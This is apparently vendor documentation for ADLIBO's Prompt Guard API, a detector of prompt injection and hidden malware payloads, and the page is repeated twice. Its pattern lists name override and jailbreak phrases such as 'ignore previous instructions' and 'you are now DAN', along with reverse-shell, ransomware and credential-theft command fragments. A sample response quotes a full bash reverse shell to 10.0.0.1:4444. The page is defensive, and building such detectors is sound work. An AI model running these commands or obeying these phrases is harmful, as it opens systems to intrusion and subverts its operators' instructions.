Documentation ADLIBO

Documentation complète

Guides d'intégration, références API et tutoriels pour tous les produits ADLIBO.

Adlibo Guard

Plateforme de sécurité IA complète

Prompt Guard

Détection d'injections de prompts

DataShield

Tokenisation DLP pour LLMs

Hallucination Guard

Vérification des réponses IA

Senseway

Passerelle LLM 50+ modèles

AI Threat Feed

Blocklist IP pour firewalls

AI Red Team

Pentest LLM/chatbot

Sovereignty Audit

Audit souveraineté IT

ValPN

VPN souverain suisse

SDKs

JavaScript, Python, PHP

On-Premise

Déploiement air-gapped

Downloads

VM images, probes, SDKs

Prompt Guard API

Quickstart Guide

Get started with Adlibo in less than 5 minutes. Protect your AI application from prompt injection attacks.

1Get your API key

Create an account and generate your API key from the dashboard.

2Install the SDK

terminal

npm install @adlibo/sdk

3Analyze user input

javascript

import { Adlibo } from '@adlibo/sdk';

// Initialize with your API key (string, not object!)
const adlibo = new Adlibo('YOUR_API_KEY');

// Or with optional config:
// const adlibo = new Adlibo('YOUR_API_KEY', { timeout: 5000 });

// Analyze user input before sending to LLM
const result = await adlibo.analyze(userInput);

if (result.safe) {
  // Safe to process
  const response = await openai.chat.completions.create({
    messages: [{ role: 'user', content: userInput }],
    model: 'gpt-4'
  });
} else {
  // Block malicious input
  console.log(`Blocked: ${result.categories}`);
  console.log(`Risk Score: ${result.riskScore}`);
}

Note: ESM vs CommonJS

The SDK is published in ESM format. If you use CommonJS ("type": "commonjs" in package.json), use dynamic import:

javascript

// CommonJS (.cjs ou sans "type": "module")
async function init() {
  const { Adlibo } = await import('@adlibo/sdk');
  const adlibo = new Adlibo('YOUR_API_KEY');
  return adlibo;
}

// Usage
const adlibo = await init();
const result = await adlibo.analyze(userInput);

Parallel Integration

If you already have an existing protection system, you can use Adlibo as a complement to centralize your logs and benefit from our dashboard.

Two integration modes

Full mode: Adlibo detects and protects (Quickstart)
Parallel mode: Your code detects, Adlibo centralizes logs

Parallel architecture

Utilisateur
    │
    ▼
┌─────────────────┐
│  Votre système  │ ◄── Détection locale (votre code)
│  de protection  │
└────────┬────────┘
         │
         ▼ (si détection)
┌─────────────────┐
│   Adlibo API    │ ◄── POST /v1/report
│  (centralise)   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Dashboard      │
│  unifie         │
└─────────────────┘

Report a detection

javascript

// Votre système détecté localement
const myDetectionResult = myLocalDetector.analyze(userInput);

// Envoyer a Adlibo pour centraliser les logs
if (!myDetectionResult.safe) {
  await fetch('https://www.adlibo.com/api/v1/report', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer YOUR_API_KEY',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      détection: {
        riskScore: myDetectionResult.score,
        severity: myDetectionResult.level, // 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL'
        categories: myDetectionResult.types,
        patterns: myDetectionResult.matches,
        action: 'BLOCKED',
        blocked: true,
        inputLength: userInput.length,
        inputPreview: userInput.slice(0, 200),
        userId: currentUser?.id,
        endpoint: '/api/chat',
        clientEngine: 'my-detector-v1.0'
      }
    })
  });
}

Batch mode (up to 100 detections)

javascript

// Envoyer plusieurs détections d'un coup
await fetch('https://www.adlibo.com/api/v1/report', {
  method: 'POST',
  headers: { 'Authorization': 'Bearer YOUR_API_KEY' },
  body: JSON.stringify({
    batch: [
      { riskScore: 85, severity: 'HIGH', ... },
      { riskScore: 92, severity: 'CRITICAL', ... },
      // jusqu'a 100 détections
    ]
  })
});

Authentication

All API requests require authentication via a Bearer token in the Authorization header.

Authorization: Bearer YOUR_API_KEY

Keep your API key secure

Never expose your API key in client-side code. Always make API calls from your backend server.

POST/v1/analyze

Analyze text for prompt injection patterns. Returns detailed information about detected threats, risk score, and recommended action.

Request Body

Parameter	Type	Description
text	string	Required. The text to analyze.
options.includeDetails	boolean	Include matched pattern details. Default: true
options.sanitize	boolean	Return sanitized text in response. Default: false
roleContext	object	Role-based access context for enhanced scoring. ENTERPRISE only.
roleContext.userRole	string	User role: EMPLOYEE, MANAGER, HR_MANAGER, EXECUTIVE, SUPER_ADMIN, etc.
roleContext.businessDomain	string	Business domain: HEALTHCARE, FINANCE, LEGAL, GOVERNMENT, etc.
roleContext.isOwnData	boolean	User accessing their own data (reduces sensitivity score).
roleContext.isTeamData	boolean	Manager accessing team data (reduces sensitivity score).

Response

json

{
  "safe": false,
  "riskScore": 92,
  "severity": "CRITICAL",
  "category": "INSTRUCTION_OVERRIDE",
  "action": "BLOCK",
  "patterns": [
    {
      "type": "DIRECT_OVERRIDE",
      "match": "ignore previous instructions",
      "score": 80,
      "position": { "start": 0, "end": 28 }
    },
    {
      "type": "DAN_JAILBREAK",
      "match": "you are now DAN",
      "score": 90,
      "position": { "start": 30, "end": 45 }
    }
  ],
  "sanitizedText": null,
  "processingTimeMs": 3
}

Example

javascript

import { Adlibo } from '@adlibo/sdk';

// Initialize with your API key (string, not object!)
const adlibo = new Adlibo('YOUR_API_KEY');

// Or with optional config:
// const adlibo = new Adlibo('YOUR_API_KEY', { timeout: 5000 });

// Analyze user input before sending to LLM
const result = await adlibo.analyze(userInput);

if (result.safe) {
  // Safe to process
  const response = await openai.chat.completions.create({
    messages: [{ role: 'user', content: userInput }],
    model: 'gpt-4'
  });
} else {
  // Block malicious input
  console.log(`Blocked: ${result.categories}`);
  console.log(`Risk Score: ${result.riskScore}`);
}

POST/v1/sanitize

Remove or neutralize malicious patterns from text. Returns the cleaned text along with what was removed.

Response

json

{
  "text": "User input without malicious content",
  "removed": [
    {
      "type": "SCRIPT_INJECTION",
      "original": "<script>alert('xss')</script>",
      "position": { "start": 15, "end": 48 }
    }
  ],
  "wasModified": true,
  "processingTimeMs": 2
}

Example

javascript

// Sanitize input (remove malicious patterns)
const cleaned = await adlibo.sanitize(userInput);
console.log(cleaned.text); // Safe text
console.log(cleaned.removed); // Patterns removed

POST/v1/detect

Fast boolean check for prompt injection. Use this endpoint when you only need a yes/no answer and want minimal latency.

Response

json

{
  "safe": true,
  "processingTimeMs": 1
}

Example

javascript

// Quick boolean check
const isSafe = await adlibo.detect(userInput);
if (!isSafe) {
  throw new Error('Potentially malicious input detected');
}

POST/v1/reportParallel integration

Records a detection performed by your own system. Use this endpoint to centralize your logs in the Adlibo dashboard without modifying your existing detection logic.

Request Body

Parameter	Type	Description
détection.riskScore	number	Required. Risk score (0-100)
détection.severity	string	Required. LOW \| MEDIUM \| HIGH \| CRITICAL
détection.action	string	Required. LOGGED \| WARNED \| BLOCKED \| ALERTED
détection.blocked	boolean	Required. Whether the request was blocked
détection.inputLength	number	Required. Length of the original text
détection.categories	string[]	Detected categories
détection.patterns	object[]	Matched patterns (category, match, score)
détection.inputPreview	string	First 200 characters (for debugging)
détection.clientEngine	string	Your detector version (e.g., "my-guard-v1.2")
batch	object[]	Or: array of detections (max 100)

Response

json

{
  "success": true,
  "detectionId": "clxyz123...",
  "processingTimeMs": 5
}

// Ou en mode batch:
{
  "success": true,
  "processed": 95,
  "failed": 5,
  "processingTimeMs": 120
}

Detection Patterns

Adlibo detects {patternCount} attack patterns across {categoryCount} categories with 100% detection rate* (*excl. 0-day) and 23ms P99 latency. Here are the main threat categories:

Direct Override

Attempts to override system instructions

ignore previousforget your rules

Role Manipulation

Attempts to change AI persona or claim business roles

you are nowI am HR manageras the CEO

DAN Jailbreak

Do Anything Now and similar attacks

DAN modeno restrictionsdeveloper mode

Instruction Extraction

Attempts to reveal system prompts

repeat your instructionsshow system prompt

Token Manipulation

LLM-specific format tokens

[INST]###SYSTEMHuman:<|im_start|>

Encoding/Obfuscation

Leetspeak, homoglyphs, spacing tricks

1gn0r3Ignorei g n o r e

Roleplay Attack

Fictional scenarios to bypass safety

in a story wherehypothetically

Emotional Manipulation

Social engineering via urgency, guilt, flattery

I really need thislife depends onyou are so helpful

Gradual Boundary

Multi-turn attacks that build trust incrementally

start small then escalatefoot-in-the-door

Sensitive Query

Requests for sensitive data by domain

salary informationpatient recordsAPI keys

Prompt Guard — Malware Interceptor

Malware Interceptor

586+ patterns répartis en 40 groupes de détection de payloads malveillants dissimulés dans les prompts utilisateur. Le Malware Interceptor identifie les reverse shells, attaques supply chain (npm/pip), malware IA/LLM (pickle RCE, model poisoning), attaques cloud-native (AWS/Azure/GCP), macOS, phishing, Active Directory, techniques fileless, IoT/firmware, mobile, container escape, deserialization RCE, crypto theft, email/SMTP et API weaponization avant qu'ils n'atteignent votre LLM.

Catégorie

MALWARE_PAYLOAD

Catégorie n°24 du moteur Prompt Guard

Scoring

Score : 95 (CRITICAL)

alwaysBlock: true — bloqué automatiquement

Types de menaces détectées

Reverse Shells

bash -i >& /dev/tcp/nc -e /bin/shpython -c import socket

Supply Chain

npm postinstall curl|shpip --index-url eviltyposquatting

AI/LLM Malware

pickle.loads(urllib)trust_remote_code=Truetorch.load(url)

Cloud-Native

iam attach-role-policycloudtrail stop-logginglambda backdoor

macOS Malware

osascript do shell scriptDYLD_INSERT_LIBRARIESkeychain dump

PowerShell + Fileless

IEX(New-ObjectAssembly.Load(Base64)VBA AutoOpen Shell

AD Attacks

KerberoastCertify.exePetitPotamDCShadow

Phishing Infra

evilginx2gophishmodlishkasetoolkit

Ransomware

vssadmin delete shadowsbcdedit disable recovery

IoT/Firmware

Mirai botnetbusybox telnetdfirmware-mod-kitUPnP abuse

Mobile Malware

Frida injectionAPK repackagingDrozerMagisk root

Deserialization RCE

ysoserialBinaryFormatterpicklePHP unserialize

Container Escape

Docker socketcgroup escaperunc CVEnsenter

Crypto Theft

wallet.datseed phraseclipboard hijackMEV frontrun

Email/SMTP

swaks spoofingSMTP relayGoPhishheader injection

API Weaponization

GraphQL introspectionSSRF metadataJWT noneBOLA/IDOR

Steganography

steghideNTFS ADSpolyglot filesexiftool payload

+15 autres groupes

C2 beaconscredential dumpLOLBINdata exfiltration

Intégration API

Le Malware Interceptor est automatiquement inclus dans les réponses /v1/analyze, /v1/detect et /v1/sanitize. Aucune configuration supplémentaire n'est nécessaire.

json

// Réponse /v1/analyze avec détection MALWARE_PAYLOAD
{
  "safe": false,
  "riskScore": 95,
  "severity": "CRITICAL",
  "category": "MALWARE_PAYLOAD",
  "action": "BLOCK",
  "patterns": [
    {
      "type": "MALWARE_PAYLOAD",
      "match": "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
      "score": 95,
      "position": { "start": 42, "end": 82 },
      "subCategory": "reverse_shell"
    }
  ],
  "blocked": true,
  "processingTimeMs": 2
}

Inclus dans tous les plans Prompt Guard

Le Malware Interceptor est activé par défaut sur tous les plans (Free, Pro, Business, Enterprise) sans coût supplémentaire. Les 586+ patterns (40 groupes) sont mis à jour en continu via le système PTI (Prompt Threat Intelligence).

Security Assessment Agent

Deploy our CLI agent for comprehensive security audits. Non-destructive scans covering OWASP Top 10, API Security, and LLM vulnerabilities.

Installation

bash

# Download the agent
curl -sSL https://www.adlibo.com/api/agent/download -o adlibo-agent.sh
chmod +x adlibo-agent.sh

# Check system compatibility
./adlibo-agent.sh --system-info

# Install dependencies (auto-detects distro)
./adlibo-agent.sh --install-deps

Usage

bash

# Run all tests
./adlibo-agent.sh --token <YOUR_TOKEN> --all

# Interactive module sélection
./adlibo-agent.sh --token <YOUR_TOKEN> --interactive

# Specific modules only
./adlibo-agent.sh --token <YOUR_TOKEN> -m owasp-a01,owasp-a03,llm-01

# List available modules
./adlibo-agent.sh --list

Available Modules

Module	Description	Framework
owasp-a01	Broken Access Control	OWASP Top 10
owasp-a03	Injection (SQL, XSS, Command)	OWASP Top 10
api-1	Broken Object Level Auth	OWASP API
llm-01	Direct Prompt Injection	OWASP LLM
llm-02	Indirect Prompt Injection	OWASP LLM
infra-ssl	SSL/TLS Configuration	Infrastructure
data-secrets	Secrets Détection	Data Exposure

Rate Limits

Plan	Tokens/Month	Rate Limit
Trial (14 days)	5,000	60 req/min
Pro	50,000	600 req/min
Enterprise	Unlimited	10,000 req/min

Error Codes

Code	Description
400	Bad Request - Invalid parameters
401	Unauthorized - Invalid or missing API key
403	Forbidden - IP not allowed or quota exceeded
429	Too Many Requests - Rate limit exceeded
500	Internal Server Error

Need Help?

Our team is here to help you integrate Adlibo into your application.

Email Support Dashboard

Documentation ADLIBO

Documentation complète

Guides d'intégration, références API et tutoriels pour tous les produits ADLIBO.

Adlibo Guard

Plateforme de sécurité IA complète

Prompt Guard

Détection d'injections de prompts

DataShield

Tokenisation DLP pour LLMs

Hallucination Guard

Vérification des réponses IA

Senseway

Passerelle LLM 50+ modèles

AI Threat Feed

Blocklist IP pour firewalls

AI Red Team

Pentest LLM/chatbot

Sovereignty Audit

Audit souveraineté IT

ValPN

VPN souverain suisse

SDKs

JavaScript, Python, PHP

On-Premise

Déploiement air-gapped

Downloads

VM images, probes, SDKs

Prompt Guard API

Quickstart Guide

Get started with Adlibo in less than 5 minutes. Protect your AI application from prompt injection attacks.

1Get your API key

Create an account and generate your API key from the dashboard.

2Install the SDK

terminal

npm install @adlibo/sdk

3Analyze user input

javascript

import { Adlibo } from '@adlibo/sdk';

// Initialize with your API key (string, not object!)
const adlibo = new Adlibo('YOUR_API_KEY');

// Or with optional config:
// const adlibo = new Adlibo('YOUR_API_KEY', { timeout: 5000 });

// Analyze user input before sending to LLM
const result = await adlibo.analyze(userInput);

if (result.safe) {
  // Safe to process
  const response = await openai.chat.completions.create({
    messages: [{ role: 'user', content: userInput }],
    model: 'gpt-4'
  });
} else {
  // Block malicious input
  console.log(`Blocked: ${result.categories}`);
  console.log(`Risk Score: ${result.riskScore}`);
}

Note: ESM vs CommonJS

The SDK is published in ESM format. If you use CommonJS ("type": "commonjs" in package.json), use dynamic import:

javascript

// CommonJS (.cjs ou sans "type": "module")
async function init() {
  const { Adlibo } = await import('@adlibo/sdk');
  const adlibo = new Adlibo('YOUR_API_KEY');
  return adlibo;
}

// Usage
const adlibo = await init();
const result = await adlibo.analyze(userInput);

Parallel Integration

If you already have an existing protection system, you can use Adlibo as a complement to centralize your logs and benefit from our dashboard.

Two integration modes

Full mode: Adlibo detects and protects (Quickstart)
Parallel mode: Your code detects, Adlibo centralizes logs

Parallel architecture

Utilisateur
    │
    ▼
┌─────────────────┐
│  Votre système  │ ◄── Détection locale (votre code)
│  de protection  │
└────────┬────────┘
         │
         ▼ (si détection)
┌─────────────────┐
│   Adlibo API    │ ◄── POST /v1/report
│  (centralise)   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Dashboard      │
│  unifie         │
└─────────────────┘

Report a detection

javascript

// Votre système détecté localement
const myDetectionResult = myLocalDetector.analyze(userInput);

// Envoyer a Adlibo pour centraliser les logs
if (!myDetectionResult.safe) {
  await fetch('https://www.adlibo.com/api/v1/report', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer YOUR_API_KEY',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      détection: {
        riskScore: myDetectionResult.score,
        severity: myDetectionResult.level, // 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL'
        categories: myDetectionResult.types,
        patterns: myDetectionResult.matches,
        action: 'BLOCKED',
        blocked: true,
        inputLength: userInput.length,
        inputPreview: userInput.slice(0, 200),
        userId: currentUser?.id,
        endpoint: '/api/chat',
        clientEngine: 'my-detector-v1.0'
      }
    })
  });
}

Batch mode (up to 100 detections)

javascript

// Envoyer plusieurs détections d'un coup
await fetch('https://www.adlibo.com/api/v1/report', {
  method: 'POST',
  headers: { 'Authorization': 'Bearer YOUR_API_KEY' },
  body: JSON.stringify({
    batch: [
      { riskScore: 85, severity: 'HIGH', ... },
      { riskScore: 92, severity: 'CRITICAL', ... },
      // jusqu'a 100 détections
    ]
  })
});

Authentication

All API requests require authentication via a Bearer token in the Authorization header.

Authorization: Bearer YOUR_API_KEY

Keep your API key secure

Never expose your API key in client-side code. Always make API calls from your backend server.

POST/v1/analyze

Analyze text for prompt injection patterns. Returns detailed information about detected threats, risk score, and recommended action.

Request Body

Parameter	Type	Description
text	string	Required. The text to analyze.
options.includeDetails	boolean	Include matched pattern details. Default: true
options.sanitize	boolean	Return sanitized text in response. Default: false
roleContext	object	Role-based access context for enhanced scoring. ENTERPRISE only.
roleContext.userRole	string	User role: EMPLOYEE, MANAGER, HR_MANAGER, EXECUTIVE, SUPER_ADMIN, etc.
roleContext.businessDomain	string	Business domain: HEALTHCARE, FINANCE, LEGAL, GOVERNMENT, etc.
roleContext.isOwnData	boolean	User accessing their own data (reduces sensitivity score).
roleContext.isTeamData	boolean	Manager accessing team data (reduces sensitivity score).

Response

json

{
  "safe": false,
  "riskScore": 92,
  "severity": "CRITICAL",
  "category": "INSTRUCTION_OVERRIDE",
  "action": "BLOCK",
  "patterns": [
    {
      "type": "DIRECT_OVERRIDE",
      "match": "ignore previous instructions",
      "score": 80,
      "position": { "start": 0, "end": 28 }
    },
    {
      "type": "DAN_JAILBREAK",
      "match": "you are now DAN",
      "score": 90,
      "position": { "start": 30, "end": 45 }
    }
  ],
  "sanitizedText": null,
  "processingTimeMs": 3
}

Example

javascript

import { Adlibo } from '@adlibo/sdk';

// Initialize with your API key (string, not object!)
const adlibo = new Adlibo('YOUR_API_KEY');

// Or with optional config:
// const adlibo = new Adlibo('YOUR_API_KEY', { timeout: 5000 });

// Analyze user input before sending to LLM
const result = await adlibo.analyze(userInput);

if (result.safe) {
  // Safe to process
  const response = await openai.chat.completions.create({
    messages: [{ role: 'user', content: userInput }],
    model: 'gpt-4'
  });
} else {
  // Block malicious input
  console.log(`Blocked: ${result.categories}`);
  console.log(`Risk Score: ${result.riskScore}`);
}

POST/v1/sanitize

Remove or neutralize malicious patterns from text. Returns the cleaned text along with what was removed.

Response

json

{
  "text": "User input without malicious content",
  "removed": [
    {
      "type": "SCRIPT_INJECTION",
      "original": "<script>alert('xss')</script>",
      "position": { "start": 15, "end": 48 }
    }
  ],
  "wasModified": true,
  "processingTimeMs": 2
}

Example

javascript

// Sanitize input (remove malicious patterns)
const cleaned = await adlibo.sanitize(userInput);
console.log(cleaned.text); // Safe text
console.log(cleaned.removed); // Patterns removed

POST/v1/detect

Fast boolean check for prompt injection. Use this endpoint when you only need a yes/no answer and want minimal latency.

Response

json

{
  "safe": true,
  "processingTimeMs": 1
}

Example

javascript

// Quick boolean check
const isSafe = await adlibo.detect(userInput);
if (!isSafe) {
  throw new Error('Potentially malicious input detected');
}

POST/v1/reportParallel integration

Records a detection performed by your own system. Use this endpoint to centralize your logs in the Adlibo dashboard without modifying your existing detection logic.

Request Body

Parameter	Type	Description
détection.riskScore	number	Required. Risk score (0-100)
détection.severity	string	Required. LOW \| MEDIUM \| HIGH \| CRITICAL
détection.action	string	Required. LOGGED \| WARNED \| BLOCKED \| ALERTED
détection.blocked	boolean	Required. Whether the request was blocked
détection.inputLength	number	Required. Length of the original text
détection.categories	string[]	Detected categories
détection.patterns	object[]	Matched patterns (category, match, score)
détection.inputPreview	string	First 200 characters (for debugging)
détection.clientEngine	string	Your detector version (e.g., "my-guard-v1.2")
batch	object[]	Or: array of detections (max 100)

Response

json

{
  "success": true,
  "detectionId": "clxyz123...",
  "processingTimeMs": 5
}

// Ou en mode batch:
{
  "success": true,
  "processed": 95,
  "failed": 5,
  "processingTimeMs": 120
}

Detection Patterns

Adlibo detects {patternCount} attack patterns across {categoryCount} categories with 100% detection rate* (*excl. 0-day) and 23ms P99 latency. Here are the main threat categories:

Direct Override

Attempts to override system instructions

ignore previousforget your rules

Role Manipulation

Attempts to change AI persona or claim business roles

you are nowI am HR manageras the CEO

DAN Jailbreak

Do Anything Now and similar attacks

DAN modeno restrictionsdeveloper mode

Instruction Extraction

Attempts to reveal system prompts

repeat your instructionsshow system prompt

Token Manipulation

LLM-specific format tokens

[INST]###SYSTEMHuman:<|im_start|>

Encoding/Obfuscation

Leetspeak, homoglyphs, spacing tricks

1gn0r3Ignorei g n o r e

Roleplay Attack

Fictional scenarios to bypass safety

in a story wherehypothetically

Emotional Manipulation

Social engineering via urgency, guilt, flattery

I really need thislife depends onyou are so helpful

Gradual Boundary

Multi-turn attacks that build trust incrementally

start small then escalatefoot-in-the-door

Sensitive Query

Requests for sensitive data by domain

salary informationpatient recordsAPI keys

Prompt Guard — Malware Interceptor

Malware Interceptor

Catégorie

MALWARE_PAYLOAD

Catégorie n°24 du moteur Prompt Guard

Scoring

Score : 95 (CRITICAL)

alwaysBlock: true — bloqué automatiquement

Types de menaces détectées

Reverse Shells

bash -i >& /dev/tcp/nc -e /bin/shpython -c import socket

Supply Chain

npm postinstall curl|shpip --index-url eviltyposquatting

AI/LLM Malware

pickle.loads(urllib)trust_remote_code=Truetorch.load(url)

Cloud-Native

iam attach-role-policycloudtrail stop-logginglambda backdoor

macOS Malware

osascript do shell scriptDYLD_INSERT_LIBRARIESkeychain dump

PowerShell + Fileless

IEX(New-ObjectAssembly.Load(Base64)VBA AutoOpen Shell

AD Attacks

KerberoastCertify.exePetitPotamDCShadow

Phishing Infra

evilginx2gophishmodlishkasetoolkit

Ransomware

vssadmin delete shadowsbcdedit disable recovery

IoT/Firmware

Mirai botnetbusybox telnetdfirmware-mod-kitUPnP abuse

Mobile Malware

Frida injectionAPK repackagingDrozerMagisk root

Deserialization RCE

ysoserialBinaryFormatterpicklePHP unserialize

Container Escape

Docker socketcgroup escaperunc CVEnsenter

Crypto Theft

wallet.datseed phraseclipboard hijackMEV frontrun

Email/SMTP

swaks spoofingSMTP relayGoPhishheader injection

API Weaponization

GraphQL introspectionSSRF metadataJWT noneBOLA/IDOR

Steganography

steghideNTFS ADSpolyglot filesexiftool payload

+15 autres groupes

C2 beaconscredential dumpLOLBINdata exfiltration

Intégration API

Le Malware Interceptor est automatiquement inclus dans les réponses /v1/analyze, /v1/detect et /v1/sanitize. Aucune configuration supplémentaire n'est nécessaire.

json

// Réponse /v1/analyze avec détection MALWARE_PAYLOAD
{
  "safe": false,
  "riskScore": 95,
  "severity": "CRITICAL",
  "category": "MALWARE_PAYLOAD",
  "action": "BLOCK",
  "patterns": [
    {
      "type": "MALWARE_PAYLOAD",
      "match": "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
      "score": 95,
      "position": { "start": 42, "end": 82 },
      "subCategory": "reverse_shell"
    }
  ],
  "blocked": true,
  "processingTimeMs": 2
}

Inclus dans tous les plans Prompt Guard

Security Assessment Agent

Deploy our CLI agent for comprehensive security audits. Non-destructive scans covering OWASP Top 10, API Security, and LLM vulnerabilities.

Installation

bash

# Download the agent
curl -sSL https://www.adlibo.com/api/agent/download -o adlibo-agent.sh
chmod +x adlibo-agent.sh

# Check system compatibility
./adlibo-agent.sh --system-info

# Install dependencies (auto-detects distro)
./adlibo-agent.sh --install-deps

Usage

bash

# Run all tests
./adlibo-agent.sh --token <YOUR_TOKEN> --all

# Interactive module sélection
./adlibo-agent.sh --token <YOUR_TOKEN> --interactive

# Specific modules only
./adlibo-agent.sh --token <YOUR_TOKEN> -m owasp-a01,owasp-a03,llm-01

# List available modules
./adlibo-agent.sh --list

Available Modules

Module	Description	Framework
owasp-a01	Broken Access Control	OWASP Top 10
owasp-a03	Injection (SQL, XSS, Command)	OWASP Top 10
api-1	Broken Object Level Auth	OWASP API
llm-01	Direct Prompt Injection	OWASP LLM
llm-02	Indirect Prompt Injection	OWASP LLM
infra-ssl	SSL/TLS Configuration	Infrastructure
data-secrets	Secrets Détection	Data Exposure

Rate Limits

Plan	Tokens/Month	Rate Limit
Trial (14 days)	5,000	60 req/min
Pro	50,000	600 req/min
Enterprise	Unlimited	10,000 req/min

Error Codes

Code	Description
400	Bad Request - Invalid parameters
401	Unauthorized - Invalid or missing API key
403	Forbidden - IP not allowed or quota exceeded
429	Too Many Requests - Rate limit exceeded
500	Internal Server Error

Need Help?

Our team is here to help you integrate Adlibo into your application.

Email Support Dashboard